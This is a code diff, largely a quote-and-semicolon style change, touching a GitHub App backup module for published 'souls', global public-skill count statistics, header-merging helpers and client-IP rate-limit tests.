if (isNotFoundError(error)) return null;
throw error;
if (isNotFoundError(error)) return null
throw error
}
}
function buildSkillRoot(root: string, ownerHandle: string, slug: string) {
const ownerSegment = normalizeOwner(ownerHandle);
return `${root}/${ownerSegment}/${slug}`;
const ownerSegment = normalizeOwner(ownerHandle)
return `${root}/${ownerSegment}/${slug}`
}
function normalizeOwner(value: string) {
const normalized = value
.trim()
.toLowerCase()
.replace(/[^a-z0-9-]/g, "-")
.replace(/-+/g, "-")
.replace(/^-+|-+$/g, "");
return normalized || "unknown";
.replace(/[^a-z0-9-]/g, '-')
.replace(/-+/g, '-')
.replace(/^-+|-+$/g, '')
return normalized || 'unknown'
}
function encodePath(path: string) {
return path
.split("/")
.split('/')
.map((segment) => encodeURIComponent(segment))
.join("/");
.join('/')
}
function fromBase64Bytes(value: string) {
// GitHub may include newlines in the base64 payload.
const normalized = value.replace(/\s/g, "");
return new Uint8Array(Buffer.from(normalized, "base64"));
const normalized = value.replace(/\s/g, '')
return new Uint8Array(Buffer.from(normalized, 'base64'))
}
async function githubGet<T>(token: string, path: string): Promise<T> {
const response = await fetch(`${GITHUB_API}${path}`, {
headers: {
Authorization: `token ${token}`,
Accept: "application/vnd.github+json",
"User-Agent": USER_AGENT,
Accept: 'application/vnd.github+json',
'User-Agent': USER_AGENT,
},
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub GET ${path} failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub GET ${path} failed: ${message}`)
}
return (await response.json()) as T;
return (await response.json()) as T
}
function isNotFoundError(error: unknown) {
return (
error instanceof Error && (error.message.includes("404") || error.message.includes("Not Found"))
);
error instanceof Error && (error.message.includes('404') || error.message.includes('Not Found'))
)
}
+189 -194
View File
@@ -1,96 +1,96 @@
"use node";
'use node'
import { createPrivateKey, createSign } from "node:crypto";
import type { Id } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
import { createPrivateKey, createSign } from 'node:crypto'
import type { Id } from '../_generated/dataModel'
import type { ActionCtx } from '../_generated/server'
const GITHUB_API = "https://api.github.com";
const DEFAULT_REPO = "clawdbot/souls";
const DEFAULT_ROOT = "souls";
const META_FILENAME = "_meta.json";
const USER_AGENT = "clawhub/souls-backup";
const GITHUB_API = 'https://api.github.com'
const DEFAULT_REPO = 'clawdbot/souls'
const DEFAULT_ROOT = 'souls'
const META_FILENAME = '_meta.json'
const USER_AGENT = 'clawhub/souls-backup'
type BackupFile = {
path: string;
size: number;
storageId: Id<"_storage">;
sha256: string;
contentType?: string;
};
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType?: string
}
type BackupParams = {
slug: string;
version: string;
displayName: string;
ownerHandle: string;
files: BackupFile[];
publishedAt: number;
};
slug: string
version: string
displayName: string
ownerHandle: string
files: BackupFile[]
publishedAt: number
}
type RepoInfo = {
default_branch?: string;
};
default_branch?: string
}
type GitRef = {
object: { sha: string };
};
object: { sha: string }
}
type GitCommit = {
sha: string;
tree: { sha: string };
};
sha: string
tree: { sha: string }
}
type GitTreeEntry = {
path?: string;
type?: string;
};
path?: string
type?: string
}
type GitTree = {
tree?: GitTreeEntry[];
};
tree?: GitTreeEntry[]
}
type MetaFile = {
owner: string;
slug: string;
displayName: string;
owner: string
slug: string
displayName: string
latest: {
version: string;
publishedAt: number;
commit: string | null;
};
version: string
publishedAt: number
commit: string | null
}
history: Array<{
version: string;
publishedAt: number;
commit: string;
}>;
};
version: string
publishedAt: number
commit: string
}>
}
export type GitHubBackupContext = {
token: string;
repo: string;
repoOwner: string;
repoName: string;
branch: string;
root: string;
};
token: string
repo: string
repoOwner: string
repoName: string
branch: string
root: string
}
export function isGitHubSoulBackupConfigured() {
return Boolean(
process.env.GITHUB_APP_ID &&
process.env.GITHUB_APP_PRIVATE_KEY &&
process.env.GITHUB_APP_INSTALLATION_ID,
);
process.env.GITHUB_APP_PRIVATE_KEY &&
process.env.GITHUB_APP_INSTALLATION_ID,
)
}
export async function getGitHubSoulBackupContext(): Promise<GitHubBackupContext> {
const repo = process.env.GITHUB_SOULS_REPO ?? DEFAULT_REPO;
const root = process.env.GITHUB_SOULS_ROOT ?? DEFAULT_ROOT;
const [repoOwner, repoName] = parseRepo(repo);
const token = await createInstallationToken();
const repoInfo = await githubGet<RepoInfo>(token, `/repos/${repoOwner}/${repoName}`);
const branch = repoInfo.default_branch ?? "main";
const repo = process.env.GITHUB_SOULS_REPO ?? DEFAULT_REPO
const root = process.env.GITHUB_SOULS_ROOT ?? DEFAULT_ROOT
const [repoOwner, repoName] = parseRepo(repo)
const token = await createInstallationToken()
const repoInfo = await githubGet<RepoInfo>(token, `/repos/${repoOwner}/${repoName}`)
const branch = repoInfo.default_branch ?? 'main'
return { token, repo, repoOwner, repoName, branch, root };
return { token, repo, repoOwner, repoName, branch, root }
}
export async function fetchGitHubSoulMeta(
@@ -98,14 +98,14 @@ export async function fetchGitHubSoulMeta(
ownerHandle: string,
slug: string,
): Promise<MetaFile | null> {
const soulRoot = buildSoulRoot(context.root, ownerHandle, slug);
const soulRoot = buildSoulRoot(context.root, ownerHandle, slug)
return fetchMetaFile(
context.token,
context.repoOwner,
context.repoName,
`${soulRoot}/${META_FILENAME}`,
context.branch,
);
)
}
export async function backupSoulToGitHub(
@@ -113,51 +113,46 @@ export async function backupSoulToGitHub(
params: BackupParams,
context?: GitHubBackupContext,
) {
if (!isGitHubSoulBackupConfigured()) return;
if (!isGitHubSoulBackupConfigured()) return
const resolved = context ?? (await getGitHubSoulBackupContext());
const soulRoot = buildSoulRoot(resolved.root, params.ownerHandle, params.slug);
const resolved = context ?? (await getGitHubSoulBackupContext())
const soulRoot = buildSoulRoot(resolved.root, params.ownerHandle, params.slug)
const ref = await githubGet<GitRef>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/ref/heads/${resolved.branch}`,
);
const baseCommitSha = ref.object.sha;
)
const baseCommitSha = ref.object.sha
const baseCommit = await githubGet<GitCommit>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/commits/${baseCommitSha}`,
);
const baseTreeSha = baseCommit.tree.sha;
)
const baseTreeSha = baseCommit.tree.sha
const existingTree = await githubGet<GitTree>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/trees/${baseTreeSha}?recursive=1`,
);
)
const prefix = `${soulRoot}/`;
const prefix = `${soulRoot}/`
const existingPaths = new Set(
(existingTree.tree ?? [])
.filter((entry) => entry.type === "blob" && entry.path?.startsWith(prefix))
.map((entry) => entry.path ?? ""),
);
.filter((entry) => entry.type === 'blob' && entry.path?.startsWith(prefix))
.map((entry) => entry.path ?? ''),
)
const newPaths = new Set<string>();
const newPaths = new Set<string>()
const treeEntries: Array<{
path: string;
mode: "100644";
type: "blob";
sha: string | null;
}> = [];
path: string
mode: '100644'
type: 'blob'
sha: string | null
}> = []
for (const file of params.files) {
const content = await fetchStorageBase64(ctx, file.storageId);
const blobSha = await createBlob(
resolved.token,
resolved.repoOwner,
resolved.repoName,
content,
);
const path = `${soulRoot}/${file.path}`;
newPaths.add(path);
treeEntries.push({ path, mode: "100644", type: "blob", sha: blobSha });
const content = await fetchStorageBase64(ctx, file.storageId)
const blobSha = await createBlob(resolved.token, resolved.repoOwner, resolved.repoName, content)
const path = `${soulRoot}/${file.path}`
newPaths.add(path)
treeEntries.push({ path, mode: '100644', type: 'blob', sha: blobSha })
}
const existingMeta = await fetchMetaFile(
@@ -166,22 +161,22 @@ export async function backupSoulToGitHub(
resolved.repoName,
`${soulRoot}/${META_FILENAME}`,
resolved.branch,
);
const metaPath = `${soulRoot}/${META_FILENAME}`;
const metaDraft = buildMetaFile(params, existingMeta, resolved.repo, baseCommitSha, null);
const metaDraftContent = `${JSON.stringify(metaDraft, null, 2)}\n`;
)
const metaPath = `${soulRoot}/${META_FILENAME}`
const metaDraft = buildMetaFile(params, existingMeta, resolved.repo, baseCommitSha, null)
const metaDraftContent = `${JSON.stringify(metaDraft, null, 2)}\n`
const metaDraftSha = await createBlob(
resolved.token,
resolved.repoOwner,
resolved.repoName,
toBase64(metaDraftContent),
);
newPaths.add(metaPath);
treeEntries.push({ path: metaPath, mode: "100644", type: "blob", sha: metaDraftSha });
)
newPaths.add(metaPath)
treeEntries.push({ path: metaPath, mode: '100644', type: 'blob', sha: metaDraftSha })
for (const path of existingPaths) {
if (newPaths.has(path)) continue;
treeEntries.push({ path, mode: "100644", type: "blob", sha: null });
if (newPaths.has(path)) continue
treeEntries.push({ path, mode: '100644', type: 'blob', sha: null })
}
const newTree = await githubPost<{ sha: string }>(
@@ -191,7 +186,7 @@ export async function backupSoulToGitHub(
base_tree: baseTreeSha,
tree: treeEntries,
},
);
)
const commit = await githubPost<GitCommit>(
resolved.token,
@@ -201,24 +196,24 @@ export async function backupSoulToGitHub(
tree: newTree.sha,
parents: [baseCommitSha],
},
);
)
const metaFinal = buildMetaFile(params, existingMeta, resolved.repo, baseCommitSha, commit.sha);
const metaFinalContent = `${JSON.stringify(metaFinal, null, 2)}\n`;
const metaFinal = buildMetaFile(params, existingMeta, resolved.repo, baseCommitSha, commit.sha)
const metaFinalContent = `${JSON.stringify(metaFinal, null, 2)}\n`
const metaFinalSha = await createBlob(
resolved.token,
resolved.repoOwner,
resolved.repoName,
toBase64(metaFinalContent),
);
)
const metaTree = await githubPost<{ sha: string }>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/trees`,
{
base_tree: commit.tree.sha,
tree: [{ path: metaPath, mode: "100644", type: "blob", sha: metaFinalSha }],
tree: [{ path: metaPath, mode: '100644', type: 'blob', sha: metaFinalSha }],
},
);
)
const metaCommit = await githubPost<GitCommit>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/commits`,
@@ -227,7 +222,7 @@ export async function backupSoulToGitHub(
tree: metaTree.sha,
parents: [commit.sha],
},
);
)
await githubPatch(
resolved.token,
@@ -235,7 +230,7 @@ export async function backupSoulToGitHub(
{
sha: metaCommit.sha,
},
);
)
}
function buildMetaFile(
@@ -245,15 +240,15 @@ function buildMetaFile(
baseCommitSha: string,
latestCommitSha: string | null,
): MetaFile {
let history = [...(existing?.history ?? [])];
let history = [...(existing?.history ?? [])]
if (existing?.latest?.version) {
const previousCommit = existing.latest.commit ?? commitUrl(repo, baseCommitSha);
const previousCommit = existing.latest.commit ?? commitUrl(repo, baseCommitSha)
const previous = {
version: existing.latest.version,
publishedAt: existing.latest.publishedAt,
commit: previousCommit,
};
history = [previous, ...history.filter((entry) => entry.version !== previous.version)];
}
history = [previous, ...history.filter((entry) => entry.version !== previous.version)]
}
return {
@@ -266,7 +261,7 @@ function buildMetaFile(
commit: latestCommitSha ? commitUrl(repo, latestCommitSha) : null,
},
history: history.slice(0, 200),
};
}
}
async function fetchMetaFile(
@@ -280,63 +275,63 @@ async function fetchMetaFile(
const response = await githubGet<{ content?: string }>(
token,
`/repos/${repoOwner}/${repoName}/contents/${encodePath(path)}?ref=${branch}`,
);
if (!response.content) return null;
const raw = fromBase64(response.content);
return JSON.parse(raw) as MetaFile;
)
if (!response.content) return null
const raw = fromBase64(response.content)
return JSON.parse(raw) as MetaFile
} catch (error) {
if (isNotFoundError(error)) return null;
throw error;
if (isNotFoundError(error)) return null
throw error
}
}
async function fetchStorageBase64(ctx: ActionCtx, storageId: Id<"_storage">) {
const blob = await ctx.storage.get(storageId);
if (!blob) throw new Error("File missing in storage");
const buffer = Buffer.from(await blob.arrayBuffer());
return buffer.toString("base64");
async function fetchStorageBase64(ctx: ActionCtx, storageId: Id<'_storage'>) {
const blob = await ctx.storage.get(storageId)
if (!blob) throw new Error('File missing in storage')
const buffer = Buffer.from(await blob.arrayBuffer())
return buffer.toString('base64')
}
async function createInstallationToken() {
const appId = process.env.GITHUB_APP_ID;
const installationId = process.env.GITHUB_APP_INSTALLATION_ID;
const appId = process.env.GITHUB_APP_ID
const installationId = process.env.GITHUB_APP_INSTALLATION_ID
if (!appId || !installationId) {
throw new Error("GitHub App credentials missing");
throw new Error('GitHub App credentials missing')
}
const jwt = createAppJwt(appId);
const jwt = createAppJwt(appId)
const response = await fetch(`${GITHUB_API}/app/installations/${installationId}/access_tokens`, {
method: "POST",
method: 'POST',
headers: buildHeaders(jwt, true),
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub App token failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub App token failed: ${message}`)
}
const payload = (await response.json()) as { token?: string };
if (!payload.token) throw new Error("GitHub App token missing");
return payload.token;
const payload = (await response.json()) as { token?: string }
if (!payload.token) throw new Error('GitHub App token missing')
return payload.token
}
function createAppJwt(appId: string) {
const privateKey = loadPrivateKey();
const now = Math.floor(Date.now() / 1000);
const header = { alg: "RS256", typ: "JWT" };
const payload = { iat: now - 60, exp: now + 9 * 60, iss: appId };
const encodedHeader = base64Url(JSON.stringify(header));
const encodedPayload = base64Url(JSON.stringify(payload));
const signingInput = `${encodedHeader}.${encodedPayload}`;
const sign = createSign("RSA-SHA256");
sign.update(signingInput);
sign.end();
const signature = sign.sign(privateKey);
return `${signingInput}.${base64Url(signature)}`;
const privateKey = loadPrivateKey()
const now = Math.floor(Date.now() / 1000)
const header = { alg: 'RS256', typ: 'JWT' }
const payload = { iat: now - 60, exp: now + 9 * 60, iss: appId }
const encodedHeader = base64Url(JSON.stringify(header))
const encodedPayload = base64Url(JSON.stringify(payload))
const signingInput = `${encodedHeader}.${encodedPayload}`
const sign = createSign('RSA-SHA256')
sign.update(signingInput)
sign.end()
const signature = sign.sign(privateKey)
return `${signingInput}.${base64Url(signature)}`
}
function loadPrivateKey() {
const raw = process.env.GITHUB_APP_PRIVATE_KEY;
if (!raw) throw new Error("GITHUB_APP_PRIVATE_KEY is not configured");
const normalized = raw.replace(/\\n/g, "\n");
return createPrivateKey(normalized);
const raw = process.env.GITHUB_APP_PRIVATE_KEY
if (!raw) throw new Error('GITHUB_APP_PRIVATE_KEY is not configured')
const normalized = raw.replace(/\\n/g, '\n')
return createPrivateKey(normalized)
}
async function createBlob(token: string, repoOwner: string, repoName: string, content: string) {
@@ -345,104 +340,104 @@ async function createBlob(token: string, repoOwner: string, repoName: string, co
`/repos/${repoOwner}/${repoName}/git/blobs`,
{
content,
encoding: "base64",
encoding: 'base64',
},
);
if (!result.sha) throw new Error("GitHub blob missing sha");
return result.sha;
)
if (!result.sha) throw new Error('GitHub blob missing sha')
return result.sha
}
async function githubGet<T>(token: string, path: string): Promise<T> {
const response = await fetch(`${GITHUB_API}${path}`, {
headers: buildHeaders(token),
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub GET ${path} failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub GET ${path} failed: ${message}`)
}
return (await response.json()) as T;
return (await response.json()) as T
}
async function githubPost<T>(token: string, path: string, body: unknown): Promise<T> {
const response = await fetch(`${GITHUB_API}${path}`, {
method: "POST",
method: 'POST',
headers: buildHeaders(token),
body: JSON.stringify(body),
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub POST ${path} failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub POST ${path} failed: ${message}`)
}
return (await response.json()) as T;
return (await response.json()) as T
}
async function githubPatch(token: string, path: string, body: unknown) {
const response = await fetch(`${GITHUB_API}${path}`, {
method: "PATCH",
method: 'PATCH',
headers: buildHeaders(token),
body: JSON.stringify(body),
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub PATCH ${path} failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub PATCH ${path} failed: ${message}`)
}
}
function buildHeaders(token: string, isAppJwt = false) {
return {
Authorization: `${isAppJwt ? "Bearer" : "token"} ${token}`,
Accept: "application/vnd.github+json",
"User-Agent": USER_AGENT,
};
Authorization: `${isAppJwt ? 'Bearer' : 'token'} ${token}`,
Accept: 'application/vnd.github+json',
'User-Agent': USER_AGENT,
}
}
function parseRepo(repo: string) {
const [owner, name] = repo.split("/");
if (!owner || !name) throw new Error("GITHUB_SOULS_REPO must be owner/repo");
return [owner, name] as const;
const [owner, name] = repo.split('/')
if (!owner || !name) throw new Error('GITHUB_SOULS_REPO must be owner/repo')
return [owner, name] as const
}
function normalizeOwner(value: string) {
const normalized = value
.trim()
.toLowerCase()
.replace(/[^a-z0-9-]/g, "-")
.replace(/-+/g, "-")
.replace(/^-+|-+$/g, "");
return normalized || "unknown";
.replace(/[^a-z0-9-]/g, '-')
.replace(/-+/g, '-')
.replace(/^-+|-+$/g, '')
return normalized || 'unknown'
}
function commitUrl(repo: string, sha: string) {
return `https://github.com/${repo}/commit/${sha}`;
return `https://github.com/${repo}/commit/${sha}`
}
function buildSoulRoot(root: string, ownerHandle: string, slug: string) {
const ownerSegment = normalizeOwner(ownerHandle);
return `${root}/${ownerSegment}/${slug}`;
const ownerSegment = normalizeOwner(ownerHandle)
return `${root}/${ownerSegment}/${slug}`
}
function encodePath(path: string) {
return path
.split("/")
.split('/')
.map((segment) => encodeURIComponent(segment))
.join("/");
.join('/')
}
function base64Url(value: string | Uint8Array) {
const buffer = typeof value === "string" ? Buffer.from(value) : Buffer.from(value);
return buffer.toString("base64").replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/g, "");
function base64Url(value: string | Buffer) {
const buffer = typeof value === 'string' ? Buffer.from(value) : value
return buffer.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, '')
}
function toBase64(value: string) {
return Buffer.from(value).toString("base64");
return Buffer.from(value).toString('base64')
}
function fromBase64(value: string) {
return Buffer.from(value, "base64").toString("utf8");
return Buffer.from(value, 'base64').toString('utf8')
}
function isNotFoundError(error: unknown) {
return (
error instanceof Error && (error.message.includes("404") || error.message.includes("Not Found"))
);
error instanceof Error && (error.message.includes('404') || error.message.includes('Not Found'))
)
}
+70 -70
View File
@@ -1,67 +1,67 @@
import type { Doc } from "../_generated/dataModel";
import type { MutationCtx, QueryCtx } from "../_generated/server";
import type { Doc } from '../_generated/dataModel'
import type { MutationCtx, QueryCtx } from '../_generated/server'
export const GLOBAL_STATS_KEY = "default";
export const GLOBAL_STATS_KEY = 'default'
type SkillVisibilityFields = Pick<
Doc<"skills">,
"softDeletedAt" | "moderationStatus" | "moderationFlags"
>;
Doc<'skills'>,
'softDeletedAt' | 'moderationStatus' | 'moderationFlags'
>
type GlobalStatsReadCtx = Pick<MutationCtx | QueryCtx, "db">;
type GlobalStatsWriteCtx = Pick<MutationCtx, "db">;
type GlobalStatsReadCtx = Pick<MutationCtx | QueryCtx, 'db'>
type GlobalStatsWriteCtx = Pick<MutationCtx, 'db'>
export function isPublicSkillDoc(skill: SkillVisibilityFields | null | undefined) {
if (!skill || skill.softDeletedAt) return false;
if (skill.moderationStatus && skill.moderationStatus !== "active") return false;
if (skill.moderationFlags?.includes("blocked.malware")) return false;
return true;
if (!skill || skill.softDeletedAt) return false
if (skill.moderationStatus && skill.moderationStatus !== 'active') return false
if (skill.moderationFlags?.includes('blocked.malware')) return false
return true
}
export function getPublicSkillVisibilityDelta(
before: SkillVisibilityFields | null | undefined,
after: SkillVisibilityFields | null | undefined,
) {
const beforePublic = isPublicSkillDoc(before);
const afterPublic = isPublicSkillDoc(after);
if (beforePublic === afterPublic) return 0;
return afterPublic ? 1 : -1;
const beforePublic = isPublicSkillDoc(before)
const afterPublic = isPublicSkillDoc(after)
if (beforePublic === afterPublic) return 0
return afterPublic ? 1 : -1
}
function getErrorMessage(error: unknown) {
if (typeof error === "string") return error;
if (error && typeof error === "object" && "message" in error) {
const message = (error as { message?: unknown }).message;
if (typeof message === "string") return message;
if (typeof error === 'string') return error
if (error && typeof error === 'object' && 'message' in error) {
const message = (error as { message?: unknown }).message
if (typeof message === 'string') return message
}
return "";
return ''
}
export function isGlobalStatsStorageNotReadyError(error: unknown) {
const message = getErrorMessage(error).toLowerCase();
if (!message) return false;
const referencesGlobalStats = message.includes("globalstats") || message.includes("by_key");
if (!referencesGlobalStats) return false;
const message = getErrorMessage(error).toLowerCase()
if (!message) return false
const referencesGlobalStats = message.includes('globalstats') || message.includes('by_key')
if (!referencesGlobalStats) return false
return (
message.includes("table") ||
message.includes("index") ||
message.includes("schema") ||
message.includes("not found") ||
message.includes("does not exist") ||
message.includes("unknown")
);
message.includes('table') ||
message.includes('index') ||
message.includes('schema') ||
message.includes('not found') ||
message.includes('does not exist') ||
message.includes('unknown')
)
}
export async function countPublicSkillsForGlobalStats(ctx: GlobalStatsReadCtx) {
const digests = await ctx.db
.query("skillSearchDigest")
.withIndex("by_active_updated", (q) => q.eq("softDeletedAt", undefined))
.collect();
let count = 0;
for (const digest of digests) {
if (isPublicSkillDoc(digest)) count += 1;
const skills = await ctx.db
.query('skills')
.withIndex('by_active_updated', (q) => q.eq('softDeletedAt', undefined))
.collect()
let count = 0
for (const skill of skills) {
if (isPublicSkillDoc(skill)) count += 1
}
return count;
return count
}
export async function setGlobalPublicSkillsCount(
@@ -69,25 +69,25 @@ export async function setGlobalPublicSkillsCount(
count: number,
now = Date.now(),
) {
const normalizedCount = Math.max(0, Math.trunc(Number.isFinite(count) ? count : 0));
const normalizedCount = Math.max(0, Math.trunc(Number.isFinite(count) ? count : 0))
try {
const existing = await ctx.db
.query("globalStats")
.withIndex("by_key", (q) => q.eq("key", GLOBAL_STATS_KEY))
.unique();
.query('globalStats')
.withIndex('by_key', (q) => q.eq('key', GLOBAL_STATS_KEY))
.unique()
if (existing) {
await ctx.db.patch(existing._id, { activeSkillsCount: normalizedCount, updatedAt: now });
await ctx.db.patch(existing._id, { activeSkillsCount: normalizedCount, updatedAt: now })
} else {
await ctx.db.insert("globalStats", {
await ctx.db.insert('globalStats', {
key: GLOBAL_STATS_KEY,
activeSkillsCount: normalizedCount,
updatedAt: now,
});
})
}
} catch (error) {
if (isGlobalStatsStorageNotReadyError(error)) return;
throw error;
if (isGlobalStatsStorageNotReadyError(error)) return
throw error
}
}
@@ -96,46 +96,46 @@ export async function adjustGlobalPublicSkillsCount(
delta: number,
now = Date.now(),
) {
const normalizedDelta = Math.trunc(Number.isFinite(delta) ? delta : 0);
if (normalizedDelta === 0) return;
const normalizedDelta = Math.trunc(Number.isFinite(delta) ? delta : 0)
if (normalizedDelta === 0) return
let existing:
| {
_id: Doc<"globalStats">["_id"];
activeSkillsCount: number;
_id: Doc<'globalStats'>['_id']
activeSkillsCount: number
}
| null
| undefined;
| undefined
try {
existing = await ctx.db
.query("globalStats")
.withIndex("by_key", (q) => q.eq("key", GLOBAL_STATS_KEY))
.unique();
.query('globalStats')
.withIndex('by_key', (q) => q.eq('key', GLOBAL_STATS_KEY))
.unique()
} catch (error) {
if (isGlobalStatsStorageNotReadyError(error)) return;
throw error;
if (isGlobalStatsStorageNotReadyError(error)) return
throw error
}
if (!existing) {
// No baseline yet (e.g. fresh deploy). Initialize via full recount once.
const count = await countPublicSkillsForGlobalStats(ctx);
await setGlobalPublicSkillsCount(ctx, count, now);
return;
const count = await countPublicSkillsForGlobalStats(ctx)
await setGlobalPublicSkillsCount(ctx, count, now)
return
}
const nextCount = Math.max(0, existing.activeSkillsCount + normalizedDelta);
await ctx.db.patch(existing._id, { activeSkillsCount: nextCount, updatedAt: now });
const nextCount = Math.max(0, existing.activeSkillsCount + normalizedDelta)
await ctx.db.patch(existing._id, { activeSkillsCount: nextCount, updatedAt: now })
}
export async function readGlobalPublicSkillsCount(ctx: GlobalStatsReadCtx) {
try {
const stats = await ctx.db
.query("globalStats")
.withIndex("by_key", (q) => q.eq("key", GLOBAL_STATS_KEY))
.unique();
return stats?.activeSkillsCount ?? null;
.query('globalStats')
.withIndex('by_key', (q) => q.eq('key', GLOBAL_STATS_KEY))
.unique()
return stats?.activeSkillsCount ?? null
} catch (error) {
if (isGlobalStatsStorageNotReadyError(error)) return null;
throw error;
if (isGlobalStatsStorageNotReadyError(error)) return null
throw error
}
}
+10 -9
View File
@@ -1,18 +1,19 @@
function toHeaderRecord(init?: HeadersInit): Record<string, string> {
if (!init) return {};
if (init instanceof Headers) return Object.fromEntries(init.entries());
if (Array.isArray(init)) return Object.fromEntries(init);
return { ...(init as Record<string, string>) };
if (!init) return {}
if (init instanceof Headers) return Object.fromEntries(init.entries())
if (Array.isArray(init)) return Object.fromEntries(init)
return { ...(init as Record<string, string>) }
}
export function mergeHeaders(...inits: Array<HeadersInit | undefined>): Record<string, string> {
const out: Record<string, string> = {};
const out: Record<string, string> = {}
for (const init of inits) {
Object.assign(out, toHeaderRecord(init));
Object.assign(out, toHeaderRecord(init))
}
return out;
return out
}
export function corsHeaders(origin: string = "*"): Record<string, string> {
return { "Access-Control-Allow-Origin": origin };
export function corsHeaders(origin: string = '*'): Record<string, string> {
return { 'Access-Control-Allow-Origin': origin }
}
+169 -169
View File
@@ -1,124 +1,124 @@
/* @vitest-environment node */
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { applyRateLimit, getClientIp } from "./httpRateLimit";
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import { applyRateLimit, getClientIp } from './httpRateLimit'
type MockRateLimitStatus = {
allowed: boolean;
remaining: number;
limit: number;
resetAt: number;
};
allowed: boolean
remaining: number
limit: number
resetAt: number
}
type MockRateLimitPlan = {
ip: MockRateLimitStatus;
user?: MockRateLimitStatus;
tokenValid?: boolean;
userActive?: boolean;
};
ip: MockRateLimitStatus
user?: MockRateLimitStatus
tokenValid?: boolean
userActive?: boolean
}
function makeRateLimitCtx(plan: MockRateLimitPlan) {
const runQuery = vi.fn(async (_fn: unknown, args: Record<string, unknown>) => {
if ("tokenHash" in args) {
if (plan.tokenValid === false) return null;
return { _id: "token_1", revokedAt: undefined };
if ('tokenHash' in args) {
if (plan.tokenValid === false) return null
return { _id: 'token_1', revokedAt: undefined }
}
if ("tokenId" in args) {
if (plan.userActive === false) return null;
return { _id: "users_123", deletedAt: undefined, deactivatedAt: undefined };
if ('tokenId' in args) {
if (plan.userActive === false) return null
return { _id: 'users_123', deletedAt: undefined, deactivatedAt: undefined }
}
if ("key" in args && "limit" in args && "windowMs" in args) {
const key = String(args.key);
if (key.startsWith("ip:")) return plan.ip;
if (key.startsWith("user:")) return plan.user;
if ('key' in args && 'limit' in args && 'windowMs' in args) {
const key = String(args.key)
if (key.startsWith('ip:')) return plan.ip
if (key.startsWith('user:')) return plan.user
}
throw new Error(`Unexpected runQuery args: ${JSON.stringify(args)}`);
});
throw new Error(`Unexpected runQuery args: ${JSON.stringify(args)}`)
})
const runMutation = vi.fn(async (_fn: unknown, args: Record<string, unknown>) => {
const key = String(args.key);
const source = key.startsWith("user:") ? plan.user : plan.ip;
if (!source) throw new Error(`Missing rate limit source for ${key}`);
return { allowed: source.allowed, remaining: source.remaining };
});
const key = String(args.key)
const source = key.startsWith('user:') ? plan.user : plan.ip
if (!source) throw new Error(`Missing rate limit source for ${key}`)
return { allowed: source.allowed, remaining: source.remaining }
})
return {
runQuery,
runMutation,
} as unknown as Parameters<typeof applyRateLimit>[0];
} as unknown as Parameters<typeof applyRateLimit>[0]
}
describe("getClientIp", () => {
let prev: string | undefined;
describe('getClientIp', () => {
let prev: string | undefined
beforeEach(() => {
prev = process.env.TRUST_FORWARDED_IPS;
});
prev = process.env.TRUST_FORWARDED_IPS
})
afterEach(() => {
if (prev === undefined) {
delete process.env.TRUST_FORWARDED_IPS;
delete process.env.TRUST_FORWARDED_IPS
} else {
process.env.TRUST_FORWARDED_IPS = prev;
process.env.TRUST_FORWARDED_IPS = prev
}
});
})
it("returns null when cf-connecting-ip is missing (CF-only default)", () => {
const request = new Request("https://example.com", {
it('returns null when cf-connecting-ip is missing (CF-only default)', () => {
const request = new Request('https://example.com', {
headers: {
"x-forwarded-for": "203.0.113.9",
'x-forwarded-for': '203.0.113.9',
},
});
delete process.env.TRUST_FORWARDED_IPS;
expect(getClientIp(request)).toBeNull();
});
})
delete process.env.TRUST_FORWARDED_IPS
expect(getClientIp(request)).toBeNull()
})
it("keeps forwarded headers disabled when TRUST_FORWARDED_IPS=false", () => {
const request = new Request("https://example.com", {
it('keeps forwarded headers disabled when TRUST_FORWARDED_IPS=false', () => {
const request = new Request('https://example.com', {
headers: {
"x-forwarded-for": "203.0.113.9",
'x-forwarded-for': '203.0.113.9',
},
});
process.env.TRUST_FORWARDED_IPS = "false";
expect(getClientIp(request)).toBeNull();
});
})
process.env.TRUST_FORWARDED_IPS = 'false'
expect(getClientIp(request)).toBeNull()
})
it("returns first ip from cf-connecting-ip", () => {
const request = new Request("https://example.com", {
it('returns first ip from cf-connecting-ip', () => {
const request = new Request('https://example.com', {
headers: {
"cf-connecting-ip": "203.0.113.1, 198.51.100.2",
'cf-connecting-ip': '203.0.113.1, 198.51.100.2',
},
});
expect(getClientIp(request)).toBe("203.0.113.1");
});
})
expect(getClientIp(request)).toBe('203.0.113.1')
})
it("uses forwarded headers when opt-in enabled", () => {
const request = new Request("https://example.com", {
it('uses forwarded headers when opt-in enabled', () => {
const request = new Request('https://example.com', {
headers: {
"x-forwarded-for": "203.0.113.9, 198.51.100.2",
'x-forwarded-for': '203.0.113.9, 198.51.100.2',
},
});
process.env.TRUST_FORWARDED_IPS = "true";
expect(getClientIp(request)).toBe("203.0.113.9");
});
})
process.env.TRUST_FORWARDED_IPS = 'true'
expect(getClientIp(request)).toBe('203.0.113.9')
})
it("prefers x-forwarded-for over x-real-ip when trusted mode is enabled", () => {
const request = new Request("https://example.com", {
it('prefers x-forwarded-for over x-real-ip when trusted mode is enabled', () => {
const request = new Request('https://example.com', {
headers: {
"x-forwarded-for": "203.0.113.9, 198.51.100.2",
"x-real-ip": "198.51.100.77",
'x-forwarded-for': '203.0.113.9, 198.51.100.2',
'x-real-ip': '198.51.100.77',
},
});
